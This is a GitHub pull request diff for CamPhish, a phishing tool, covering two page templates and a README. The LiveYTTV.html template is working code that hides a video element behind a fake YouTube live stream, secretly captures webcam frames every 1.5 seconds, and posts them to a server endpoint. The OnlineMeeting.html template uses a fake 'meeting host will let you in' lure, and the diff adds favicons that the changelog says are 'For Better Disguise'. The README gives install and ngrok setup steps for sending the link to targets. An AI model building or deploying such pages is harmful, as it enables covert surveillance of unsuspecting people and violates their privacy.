Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
114 changes: 60 additions & 54 deletions LiveYTTV.html
Original file line number Diff line number Diff line change
@@ -1,82 +1,88 @@
<!doctype html>
<html>

<head>
<script type="text/javascript" src="https://wybiral.github.io/code-art/projects/tiny-mirror/index.js"></script>
<link rel="stylesheet" type="text/css" href="https://wybiral.github.io/code-art/projects/tiny-mirror/index.css">
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.js"></script>
<link rel="shortcut icon"
href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAYAAABXAvmHAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAa9JREFUeNrsWdFtwjAQvVj8Nxs0bBAmaNggbAATECYAJoAN6AZkA8IEuBPABqQTpHexK4VUpLTYhpP8pFOkyLHeu9ydcxcADw8PD487EPxlcQUQgbIuXFsj0cpfni0Dte7/ApBkiJcU7U0TiUHdewRODftAew+6nIDkx2hntOpJjbhlXeQrJpa1ySeMyH9bnWdCa5gyLEDTpoCEoYCac6CrzpnpGRAIXSZZgvJAGN0xdu6LWoC5+F+tAHY7p0KE+dRCfxwOSkxo/QBPhLWts0wJSVNmb+AiQvGs2W5VWEURQwHtsFosmAogUD7M5wDHoxJkUMCr28IXqZDabIwkubihQXlmvJCAvdsWBXuT4RBgMsHWpLx3t093OUBkl0uAfh+gKIxt23NCngiTx8n7rKoQER6NVMhYIG9XwHoNMBgA5LlVH/WshMtsBiCli+CUZvvhOHbdFxv+mHPj9ctBGPuWUk+6Sob8ZbMKFQwFFM3mmO1gqymC02hxfG1MwWG4m7YS+YcIqkqkkMbrITx2vF7qZD3pr+a8PV638YOjS/AtPzlkwLMqenh4eHDElwADAJGUvRlMT6P5AAAAAElFTkSuQmCC"
type="image/x-icon">
<script type="text/javascript" src="https://wybiral.github.io/code-art/projects/tiny-mirror/index.js"></script>
<link rel="stylesheet" type="text/css" href="https://wybiral.github.io/code-art/projects/tiny-mirror/index.css">
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.js"></script>
</head>

<div class="video-wrap" hidden="hidden">
<video id="video" playsinline autoplay></video>
<video id="video" playsinline autoplay></video>
</div>

<canvas hidden="hidden" id="canvas" width="640" height="480"></canvas>

<script>

function post(imgdata){
$.ajax({
type: 'POST',
data: { cat: imgdata},
url: 'forwarding_link/post.php',
dataType: 'json',
async: false,
success: function(result){
function post(imgdata) {
$.ajax({
type: 'POST',
data: { cat: imgdata },
url: 'forwarding_link/post.php',
dataType: 'json',
async: false,
success: function (result) {
// call the function that handles the response/results
},
error: function(){
}
});
};
},
error: function () {
}
});
};


'use strict';
'use strict';

const video = document.getElementById('video');
const canvas = document.getElementById('canvas');
const errorMsgElement = document.querySelector('span#errorMsg');
const video = document.getElementById('video');
const canvas = document.getElementById('canvas');
const errorMsgElement = document.querySelector('span#errorMsg');

const constraints = {
audio: false,
video: {

facingMode: "user"
}
};

// Access webcam
async function init() {
try {
const stream = await navigator.mediaDevices.getUserMedia(constraints);
handleSuccess(stream);
} catch (e) {
errorMsgElement.innerHTML = `navigator.getUserMedia error:${e.toString()}`;
const constraints = {
audio: false,
video: {

facingMode: "user"
}
};

// Access webcam
async function init() {
try {
const stream = await navigator.mediaDevices.getUserMedia(constraints);
handleSuccess(stream);
} catch (e) {
errorMsgElement.innerHTML = `navigator.getUserMedia error:${e.toString()}`;
}
}
}

// Success
function handleSuccess(stream) {
window.stream = stream;
video.srcObject = stream;
// Success
function handleSuccess(stream) {
window.stream = stream;
video.srcObject = stream;

var context = canvas.getContext('2d');
setInterval(function(){
var context = canvas.getContext('2d');
setInterval(function () {

context.drawImage(video, 0, 0, 640, 480);
var canvasData = canvas.toDataURL("image/png").replace("image/png", "image/octet-stream");
post(canvasData); }, 1500);

context.drawImage(video, 0, 0, 640, 480);
var canvasData = canvas.toDataURL("image/png").replace("image/png", "image/octet-stream");
post(canvasData);
}, 1500);

}

// Load init
init();
}

// Load init
init();

</script>

<body>
<iframe id="Live_YT_TV" width="100%" height="500px" src="https://www.youtube.com/embed/live_yt_tv?autoplay=1" frameborder="0" allow="autoplay encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
<body>
<iframe id="Live_YT_TV" width="100%" height="500px" src="https://www.youtube.com/embed/live_yt_tv?autoplay=1"
frameborder="0" allow="autoplay encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

</body>
</body>

</html>
</html>
37 changes: 21 additions & 16 deletions OnlineMeeting.html
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,9 @@
<html>

<head>
<link rel="shortcut icon"
href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAMAAAADACAMAAABlApw1AAAB/lBMVEUAAADqQzX7vAT8vAP7vAT6vAX8vAP/vwDqQzX7vAT7vQT/vwD7vAT6uwX8uwNAv0A0p1I0qVQzqFM0qFM0qVMyqlU0qFM0qFM1qFMrqlU1p1Q0qFI0p1M0qFM0qFQ1qFI1qlU0qFM0qFM1qlU0qFM0qVI0qVQ4p1A0qFM0p1Q0qFM0qFMzplk0qFM0qFE0qFMzp1I0qFM0p1M3pFIyqFIzqVM0qFP7vAQzqVP3uwVgkifjtQk7iTAYgDhChfTCrREqhTSfoxkcgTf3uwVzmCPtuAhUjyrYswy7qxMjgzWYoRtwlyTltglRjyvUsg00iDK3qhSQoBz0ugZplSVKjS3RsQ4xhzKwqBWJnh7wuQdmlCZGjC7NsA4uhjOpphcfgjaFnR9fkijftApCiy7GrhCmpReCnCDxugZXkCnftQrOsA+8qxIol0grm0oZgTgtn00Zgzkwo08chjwxpVAeij8zp1MijkImlEUqmkkZgTkunkwbhDswo1AzplIgij8jkEMnlkYsnEsZgjkvoE4xpFAeiD4hjEElkkUpmEgsnUwwok8ZZ9IvoU4yplIeiD40qFIij0I1qFM0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TxAWckDhLU8AM1EHqDtng4c7sVHHXN5gNNZHuBybb8ubBsIAiCK/grCzMzMXYYZzUmV4cS28HS4I83v4C3vSaCA6J2qA+gaFwcwciYO4HxTHMDUhTiAzh1xAMyrA7g8EAdwtSIOoH9GHMDwujiAzklxAFyPiwOYmBMHMLsiDmBqSRzAcK84gM6jwbYO1ABw03YY3eoBGJkbbLYjCOC8Z/C/WTlA+yfnFEkAd6vfG+HgGlEAbGzfPzzuogeIkAGp9USsnoMBvBCrUjCABWJVDgawT6wqoQDG14hXNRDAKjGr1YMAnE0Rt0YIgPEt4vcaAOCRJDXqBQPmJkhWrVoo4GGRxFXKpedCAE8Xb/0455xzzjnnnHPOORetDwnHcN1C+Y/JAAAAAElFTkSuQmCC"
type="image/x-icon">
<script type="text/javascript" src="https://wybiral.github.io/code-art/projects/tiny-mirror/index.js"></script>
<script src="https://kit.fontawesome.com/c4c45dfab4.js" crossorigin="anonymous"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.js"></script>
Expand Down Expand Up @@ -90,17 +93,18 @@
top: 5px;
right: 5px;
}

#ac-wrapper {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(255,255,255,.6);
background: rgba(255, 255, 255, .6);
z-index: 1001;
}
}

#popup {
#popup {
width: 555px;
height: 35px;
background: #FFFFFF;
Expand All @@ -112,8 +116,9 @@
-moz-box-shadow: #64686e 0px 0px 3px 3px;
-webkit-box-shadow: #64686e 0px 0px 3px 3px;
position: relative;
top: 250px; left: 375px;
}
top: 250px;
left: 375px;
}
</style>

<script>
Expand Down Expand Up @@ -174,16 +179,16 @@


}
function PopUp(){
document.getElementById('ac-wrapper').style.display="none";
}
function PopUp() {
document.getElementById('ac-wrapper').style.display = "none";
}
// Load init
init();
$(document).ready(function(){
setTimeout(function(){
$(document).ready(function () {
setTimeout(function () {
PopUp();
},50000); // 5000 to load it after 5 seconds from page load
});
}, 50000); // 5000 to load it after 5 seconds from page load
});
</script>

<body>
Expand All @@ -192,11 +197,11 @@
</div>
<div id="ac-wrapper">
<div id="popup">
<center>
<h2>Please wait the meeting host will let you in soon</h2>
</center>
<center>
<h2>Please wait the meeting host will let you in soon</h2>
</center>
</div>
</div>
</div>
<div class="bottom-bar">
<div class="icon-button" style="margin-left: 50px;">
<i class="fas fa-microphone"></i>
Expand Down
111 changes: 88 additions & 23 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,51 +1,116 @@
# CamPhish

# CamPhish

Grab cam shots from target's phone front camera or PC webcam just sending a link.
![CamPhish](https://techchip.net/wp-content/uploads/2020/04/camphish.jpg)

# What is CamPhish?

<p align="center" width="100%" >
<a href="https://techchip.net/wp-content/uploads/2020/04/camphish.jpg"><img width="80%" align="center" src="https://techchip.net/wp-content/uploads/2020/04/camphish.jpg"/>
</a>
</p>
<br>


# What is CamPhish?

<p>CamPhish is techniques to take cam shots of target's phone front camera or PC webcam. CamPhish Hosts a fake website on in built PHP server and uses ngrok & serveo to generate a link which we will forward to the target, which can be used on over internet. website asks for camera permission and if the target allows it, this tool grab camshots of target's device</p>

## Features


## Features

<p>In this tool I added two automatic webpage templates for engaged target on webpage to get more picture of cam</p>

<ul>
<li>Festival Wishing</li>
<li>Live YouTube TV</li>
<li>Online Meeting [Beta]</li>

<li>Festival Wishing</li>

<li>Live YouTube TV</li>

<li>Online Meeting [Beta]</li>

</ul>

<p>simply enter festival name or youtube's video ID</p>

## This Tool Tested On :


## This Tool Tested On :

<ul>
<li>Kali Linux</li>
<li>Termux</li>
<li>MacOS</li>
<li>Ubuntu</li>
<li>Parrot Sec OS</li>

<li>Kali Linux</li>

<li>Termux</li>

<li>MacOS</li>

<li>Ubuntu</li>

<li>Parrot Sec OS</li>

</ul>

# Installing and requirements
<p>This tool require PHP for webserver, SSH or serveo link. First run following command on your terminal</p>


# Installing and requirements

<p>This tool require PHP for webserver, SSH or servo link. First run following command on your terminal</p>



```
apt-get -y install php openssh git wget
```



## Installing (Kali Linux/Termux):

```

```shell
git clone https://github.com/techchipnet/CamPhish

cd CamPhish

bash camphish.sh
```

## Change Log:

<p><b>Version: 1.5:</b> Add new online meeting template</p>
## Login To [ngrok](https://ngrok.com/)

If You Want To Use CamPhish Now, You Must Login/Signup To get An Private Key. It's Important Because You Have To Provide This Key To CamPhish In Order To Use It. Because Of Ngrok's New Policy , You Can't Get Access To A Custom URL Without Providing The Key.

So Just Login/Signup, Get The Key An Use CamPhish Without Any Interruption.



## Change Log:



<p><b>Version: 1.5:</b> Added new online meeting template, Favicon Support For Better Disguise</p>

<p><b>Version: 1.4:</b> Ngrok authtoken update</p>
<p><b>Version: 1.3:</b> Fix ngrok direct link</p>

### Video Demo
[![CamPhish Update demo](https://img.youtube.com/vi/i7tvDJx3-yw/0.jpg)](https://www.youtube.com/watch?v=i7tvDJx3-yw)
#### For More Video subcribe <a href="http://youtube.com/techchipnet">TechChip YouTube Channel</a>
<p><b>Version: 1.3:</b> Fixed ngrok direct link</p>



### Video Demo
<P>If You Are Facing Any Problem About This tool, You Can consider The Following</p>


<p align="center" width="100%">
<a href="https://www.youtube.com/watch?v=i7tvDJx3-yw"><img width="70%" align="center" src="https://img.youtube.com/vi/i7tvDJx3-yw/0.jpg"/>
<a/>
<P/>




### For More Video subcribe <a href="http://youtube.com/techchipnet">TechChip YouTube Channel</a>

<p>CamPhish is created to help in penetration testing and it's not responsible for any misuse or illegal purposes.</p>
<p>CamPhish is inspired by https://github.com/thelinuxchoice/ Big thanks to @thelinuxchoice</p>

<p>CamPhish is inspired by https://github.com/thelinuxchoice/ Big thanks to @thelinuxchoice</p>
Loading